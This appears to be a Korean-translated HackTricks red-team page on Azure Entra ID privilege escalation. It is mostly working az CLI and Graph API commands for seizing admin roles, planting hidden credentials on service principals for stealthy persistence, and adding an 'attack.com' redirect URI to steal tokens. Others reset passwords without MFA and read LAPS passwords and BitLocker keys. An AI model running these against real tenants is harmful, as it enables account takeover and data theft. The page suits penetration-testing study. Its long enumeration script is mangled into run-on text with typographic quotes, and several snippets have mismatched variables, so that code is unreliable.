Az - EntraID Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Note

모든 세분화된 permissions built-in roles가 Entra ID에서 가진 것들이 custom roles에 사용될 수 있는 것은 아니라는 점에 유의하세요.

Roles

Role: Privileged Role Administrator

이 role에는 principals에 role을 할당하고 roles에 더 많은 permissions를 부여할 수 있게 해주는 필요한 세분화된 permissions가 포함되어 있습니다. 이 두 동작 모두 privileges를 상승시키는 데 악용될 수 있습니다.

  • Assign role to a user:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • role에 더 많은 permissions 추가하기:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Applications

microsoft.directory/applications/credentials/update

이것은 공격자가 기존 애플리케이션에 credentials(passwords 또는 certificates)를 추가할 수 있게 합니다. 해당 애플리케이션이 privileged permissions를 가지고 있다면, 공격자는 그 애플리케이션으로 인증하여 그 privileges를 얻을 수 있습니다.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

이는 applications/credentials/update와 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 지정됩니다.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

자신을 owner로 추가하면, 공격자는 credentials와 permissions를 포함해 application을 조작할 수 있습니다.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

공격자는 테넌트 사용자들이 사용 중인 applications에 redirect URI를 추가한 뒤, 새 redirect URL을 사용하는 login URLs를 그들에게 공유하여 그들의 tokens를 훔칠 수 있습니다. 사용자가 이미 해당 application에 로그인된 상태라면, 사용자가 아무것도 승인할 필요 없이 authentication이 자동으로 진행됩니다.

또한 application이 요청하는 permissions를 변경하여 더 많은 permissions를 얻는 것도 가능합니다. 하지만 이 경우 사용자는 모든 permissions에 대한 승인을 다시 요청하는 prompt를 다시 accept해야 합니다.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Applications Privilege Escalation

이 글에서 설명하듯이 기본 applications에 API permissions 유형의 Application 이 할당되어 있는 경우를 아주 흔하게 찾을 수 있었습니다. 유형이 Application 인 API Permission(Entra ID console에서 부르는 방식)은 application이 user context 없이(즉, app에 user login 없이), 그리고 이를 허용하기 위한 Entra ID roles 없이 API에 access하고 actions를 수행할 수 있다는 뜻입니다. 따라서 모든 Entra ID tenant에서 권한이 매우 높은 applications를 찾는 것은 매우 흔한 일입니다.

그다음, attacker가 application의 credentials(secret 또는 certificate)를 update할 수 있게 해주는 어떤 permission/role이라도 가지고 있다면, attacker는 새 credential을 생성한 뒤 이를 사용해 application으로 authenticate할 수 있고, application이 가진 모든 permissions를 획득할 수 있습니다.

앞서 언급한 blog는 일반적인 Microsoft default applications의 일부 API permissions를 공유하지만, 이 보고서 이후 얼마 지나지 않아 Microsoft가 이 문제를 수정했으며 이제는 더 이상 Microsoft applications로 login할 수 없습니다. 그러나 여전히 악용될 수 있는 높은 privileges를 가진 custom applications를 찾는 것은 가능합니다.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
모든 애플리케이션 API 권한을 찾고 Microsoft-owned APIs를 표시하기 ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

이 권한은 공격자가 기존 service principals에 credentials를 추가할 수 있게 합니다. 해당 service principal에 elevated privileges가 있으면, 공격자는 그 privileges를 사용할 수 있습니다.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

새로 생성된 password는 web console에 표시되지 않으므로, service principal에 대한 persistence를 유지하는 stealth한 방법이 될 수 있습니다.
API에서는 다음으로 찾을 수 있습니다: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." 오류가 발생하면, SP의 passwordCredentials property를 수정할 수 없기 때문이며 먼저 unlock해야 합니다. 이를 위해서는 다음을 실행할 수 있게 해주는 permission (microsoft.directory/applications/allProperties/update)이 필요합니다:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

이 권한은 공격자가 기존 service principals에 credentials를 추가할 수 있게 합니다. service principal에 elevated privileges가 있으면, 공격자는 그 권한을 그대로 사용할 수 있습니다.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

applications와 마찬가지로, 이 permission은 service principal에 더 많은 owner를 추가할 수 있게 해줍니다. service principal을 owning하면 해당 credentials와 permissions를 control할 수 있습니다.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

새 owner를 추가한 후 제거하려고 했지만 API가 DELETE method를 지원하지 않는다고 응답했습니다. 실제로는 owner를 삭제할 때 사용해야 하는 method인데도 그렇습니다. 그래서 지금은 owners를 제거할 수 없습니다.

microsoft.directory/servicePrincipals/disable and enable

These permissions는 service principals를 disable하고 enable할 수 있게 합니다. 공격자는 이 permission을 사용해, 어떤 방식으로든 접근할 수 있게 된 service principal을 enable하여 privilege escalation을 할 수 있습니다.

이 technique에서는 enabled service principal을 takeover하기 위해 추가 permissions가 필요하다는 점에 주의해야 합니다.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

이 권한들은 single sign-on용 credentials를 생성하고 가져올 수 있게 하며, 이를 통해 third-party applications에 접근할 수 있을 수 있습니다.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Groups

microsoft.directory/groups/allProperties/update

이 권한은 사용자들을 privileged groups에 추가할 수 있게 하며, 이는 privilege escalation로 이어집니다.

az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID role-assignable groups를 제외합니다.

microsoft.directory/groups/owners/update

이 권한은 groups의 owner가 될 수 있게 합니다. group의 owner는 group membership과 settings를 제어할 수 있어, 잠재적으로 해당 group으로 privilege escalation이 가능합니다.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

참고: 이 권한은 Entra ID role-assignable groups를 제외합니다.

microsoft.directory/groups/members/update

이 권한은 그룹에 멤버를 추가할 수 있게 합니다. 공격자는 자신이나 악성 계정을 privileged groups에 추가하여 elevated access를 얻을 수 있습니다.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

이 권한은 dynamic group의 membership rule을 업데이트할 수 있게 한다. 공격자는 dynamic rules를 수정해 명시적 추가 없이 자신을 privileged groups에 포함시킬 수 있다.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Note: 이 권한은 Entra ID role-assignable groups를 제외합니다.

Dynamic Groups Privesc

사용자가 자신의 속성을 수정하여 dynamic groups의 멤버로 추가됨으로써 privileges를 escalate할 수 있을지도 모릅니다. 자세한 내용은 다음을 확인하세요:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

이 permission은 non-admin users의 password를 reset할 수 있게 하므로, 잠재적인 attacker가 다른 users로 privileges를 escalate할 수 있습니다. 이 permission은 custom roles에 할당할 수 없습니다.

# Update user password
userId="<user-id>"
az ad user update --id $userId --password "kweoifuh.234"

# Update user password without needing to change or use MFA on next sign-in
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$userId" \
--headers "Content-Type=application/json" \
--body "{
\"passwordProfile\": {
\"forceChangePasswordNextSignInWithMfa\": false,
\"forceChangePasswordNextSignIn\": false,
\"password\": \"kweoifuh.234\"
}
}"

microsoft.directory/users/basic/update

이 privilege는 user의 properties를 수정할 수 있게 해줍니다. properties 값에 따라 users를 추가하는 dynamic groups를 흔히 찾을 수 있으므로, 이 permission은 user가 특정 dynamic group의 member가 되기 위해 필요한 property 값을 설정하게 하여 privileges를 escalate할 수 있게 해줄 수 있습니다.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

잘못 구성된 MFA를 요구하는 conditional access policies는 우회될 수 있습니다. 다음을 확인하세요:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

이 권한은 공격자가 device의 owner로 자신을 지정하여 control을 획득하거나 device-specific settings와 data에 접근할 수 있게 합니다.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

이 권한은 공격자가 자신의 계정을 devices에 연결하여 access를 얻거나 security policies를 bypass할 수 있게 합니다.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

이 권한은 공격자가 Microsoft Entra joined devices의 백업된 local administrator account credentials 속성을 읽을 수 있게 하며, password를 포함합니다

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

이 권한은 BitLocker keys에 접근할 수 있게 하며, 이를 통해 공격자가 드라이브를 복호화하여 데이터 기밀성을 침해할 수 있습니다.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

기타 흥미로운 permissions (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기